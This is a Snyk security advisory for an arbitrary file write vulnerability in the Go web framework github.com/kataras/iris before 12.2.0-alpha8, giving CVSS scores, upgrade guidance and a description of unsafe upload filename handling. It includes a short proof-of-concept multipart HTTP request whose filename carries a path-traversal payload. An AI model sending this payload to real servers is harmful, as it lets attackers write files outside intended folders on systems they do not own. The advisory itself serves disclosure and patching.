Arbitrary File Write Affecting github.com/kataras/iris package, versions <12.2.0-alpha8


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.34% (72nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMKATARASIRIS-2325169
  • published 23 Dec 2021
  • disclosed 23 Dec 2021
  • credit Snyk Security Team

How to fix?

Upgrade github.com/kataras/iris to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151

------xxx Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file" Content-Type: text/plain

pwned ------xxx--

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high